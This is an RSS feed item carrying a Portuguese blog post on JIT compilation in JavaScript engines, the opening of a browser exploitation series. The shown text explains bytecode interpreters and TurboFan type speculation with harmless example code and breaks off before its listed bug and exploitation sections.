<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Harddisk</title>
        <link>https://harddisk.com.br/</link>
        <description>Recent content on Harddisk</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <lastBuildDate>Sat, 13 Aug 2022 00:00:00 +0000</lastBuildDate><atom:link href="https://harddisk.com.br/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>[PT-BR] JIT, lutando contra dragões</title>
        <link>https://harddisk.com.br/p/pt-br-jit-lutando-contra-drag%C3%B5es/</link>
        <pubDate>Sat, 13 Aug 2022 00:00:00 +0000</pubDate>
        
        <guid>https://harddisk.com.br/p/pt-br-jit-lutando-contra-drag%C3%B5es/</guid>
        <description>&lt;img src="https://harddisk.com.br/p/pt-br-jit-lutando-contra-drag%C3%B5es/banner.png" alt="Featured image of post [PT-BR] JIT, lutando contra dragões" /&gt;&lt;blockquote&gt;
&lt;p&gt;Esse post é uma continuação do último &lt;a class=&#34;link&#34; href=&#34;https://harddisk.com.br/p/pt-br-browser-exploitation/&#34; &gt;post&lt;/a&gt; sobre exploração de navegadores, caso você não esteja familiarizado com o tema, recomendo que o leia para se acomodar no assunto.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#jit-just-in-time-compiler&#34; &gt;JIT (just-in-time compiler)&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#compila%c3%a7%c3%a3o-e-execu%c3%a7%c3%a3o&#34; &gt;Compilação e execução&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#de-js-para-assembly&#34; &gt;De JS para assembly&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#sanity-checks&#34; &gt;Sanity checks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#bugs&#34; &gt;Bugs&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#wrong-optimization&#34; &gt;Wrong optimization&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#side-effect&#34; &gt;Side effect&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#type-confusion&#34; &gt;Type Confusion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#exploitation&#34; &gt;Exploitation&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#challenge&#34; &gt;Challenge&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#poc&#34; &gt;PoC&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;#referencias&#34; &gt;Referencias&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;jit-just-in-time-compiler&#34;&gt;JIT (just-in-time compiler)&lt;/h1&gt;
&lt;h2 id=&#34;compilação-e-execução&#34;&gt;Compilação e execução&lt;/h2&gt;
&lt;p&gt;Para qualquer tipo de programa, sempre é necessário que, em algum momento, tudo se transforme em assembly, isso pode ocorrer de diversas formas dependendo da abordagem da linguagem. Em C, por exemplo, escrevemos nosso código e compilamos-o, fazendo uma conversão direta de código para linguagem de máquina(ahead-of-time compiler), mas em linguagens mais &lt;em&gt;high level&lt;/em&gt;, como python, JS ou java, existe um meio-termo antes desta fase final.&lt;/p&gt;
&lt;p&gt;Normalmente nesses casos, ao invés de se compilar para linguagem de máquina, o código em javascript, por exemplo, é transformado em &amp;ldquo;&lt;em&gt;bytecode&lt;/em&gt;&amp;rdquo;, que é basicamente um &amp;ldquo;assembly&amp;rdquo; que sera entendido por uma &amp;ldquo;máquina virtual&amp;rdquo;, como uma máquina de registradores. Esses termos podem parecer estranhos e um pouco complexos, pois são termos mais comuns na área de compiladores e desenvolvimento de linguagens, mas podemos ter uma compreensão melhor com o seguinte pseudo-código:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// opcodes, valores completamente arbitrarios
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;#define LOAD 0x10
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#define PRINT 0x11
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#define EXIT 0x1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;execute_bytecode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;uint8_t&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;code&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;uint32_t&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;code_size&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;instruction_pointer&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// um instruction pointer, assim como em assembly
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;machine_register&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// um registrador
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;// enquanto o intruction pointer for menor que o tamanho total da memória, continua executando
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;instruction_pointer&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;code_size&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;// ler o opcode a partir da &amp;#34;memória&amp;#34;, no caso, a variavel
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;c1&#34;&gt;// code com o offset do instruction_pointer
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;kt&#34;&gt;uint8_t&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;opcode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;code&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;instruction_pointer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;instruction_pointer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// incrementa o instruction_pointer
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;k&#34;&gt;switch&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;opcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// executa algum opcode
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;      &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;nl&#34;&gt;LOAD&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// carrega para o unico registrador o que estiver na memória
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;        &lt;span class=&#34;n&#34;&gt;machine_register&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;code&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;instruction_pointer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;nl&#34;&gt;PRINT&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// printa o registrador
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;        &lt;span class=&#34;n&#34;&gt;printf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;%x&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;machine_register&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;nl&#34;&gt;EXIT&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// termina a execução
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;        &lt;span class=&#34;n&#34;&gt;exit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;machine_register&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;default&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// opcode não encontrado
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;        &lt;span class=&#34;n&#34;&gt;exit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;O exemplo acima pode ser considerado uma máquina de registradores mínima, as únicas coisas que ela consegue fazer é carregar algum valor para o seu único registrador, mostrar o valor do mesmo e terminar sua execução. Linguagens como python, JS e Java, implementam máquinas virtuais parecidas com o mesmo conceito, porem, extremamente mais complexas.&lt;/p&gt;
&lt;p&gt;Usando desta técnica, ganhamos em alguns pontos, como flexibilidade e criação dinâmica de código(como um &lt;code&gt;eval&lt;/code&gt; em js e python), porem se perde em um ponto extremamente crítico, a performasse. Como uma tentativa para minimizar a questão desse ponto, uma solução amplamente aplicada é o &lt;strong&gt;JIT&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;De forma extremamente resumida, JIT é um compilador que transforma &lt;em&gt;bytecode&lt;/em&gt; para linguagem de máquina em tempo de execução.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Não sera abordado de forma muito aprofundada esse assunto de compiladores, porem caso tenha ficado interessado no mesmo, &lt;a class=&#34;link&#34; href=&#34;#referencias-para-estudo-de-compiladores&#34; &gt;aqui&lt;/a&gt; você pode encontrar referências de estudo.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;de-js-para-assembly&#34;&gt;De JS para assembly&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;A maioria dos comentários serão focados para o TurboFan, compilador JIT do v8, porem muitas das coisas aqui são repetidas em outros casos como o IonMonkey(JIT do firefox) ou do JavaScriptCore.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;O processo de compilação é caro do ponto de vista computacional, pois existe um gasto de processamento e memória adicional, logo, não faz sentido chamar o JIT para todas as funções. Normalmente, as &lt;em&gt;engines&lt;/em&gt; JS declaram um número de vezes mínimo que uma função precisa ser chamada para ser marcada como &amp;ldquo;quente&amp;rdquo;(&lt;em&gt;hot&lt;/em&gt;), e então, ser compilada.&lt;/p&gt;
&lt;p&gt;Porem, algo que até aqui você pode ter se questionado, como podemos compilar um código de uma função em uma linguagem de tipagem dinâmica?&lt;br&gt;
Podemos tomar o seguinte código de exemplo:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;a&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Como iremos compilar isso para assembly?&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Reafirmando o problema da tipagem dinâmica, os resultados dessa função podem ser vários, como:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;     &lt;span class=&#34;c1&#34;&gt;// 13
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;A&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;B&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// &amp;#34;AB&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;([&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]);&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// &amp;#34;12&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;Tirando da própria especificação &lt;a class=&#34;link&#34; href=&#34;https://262.ecma-international.org/13.0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;ECMAScript&lt;/a&gt;, podemos ter mais de dez interpretações para o operador &lt;code&gt;+&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Desta forma, a solução amplamente implementada é a especulação. O JIT especula, determinando quais tipos de variáveis foram recebidos pela função até ser marcada como &amp;ldquo;&lt;em&gt;hot&lt;/em&gt;&amp;rdquo; e as usando para a compilação.&lt;/p&gt;
&lt;p&gt;Podemos olhar mais de perto esse processo:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// forçando que &amp;#34;add&amp;#34; sejá otimizado/compilado, treinando o especulador para Smi(small integer)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;_&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;_&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;100_000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;_&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// ---
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// &amp;#34;trick&amp;#34; para o d8(shell do v8) com a flag &amp;#34;--allow-natives-syntax&amp;#34;:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// Da para o compilador o feedback para especular que &amp;#34;a&amp;#34; e &amp;#34;b&amp;#34; são Smi&amp;#39;s
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;PrepareFunctionForOptimization&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// E força a compilação
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;OptimizeFunctionOnNextCall&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Apos o exemplo acima, o JIT define algo semelhante a:&lt;/p&gt;
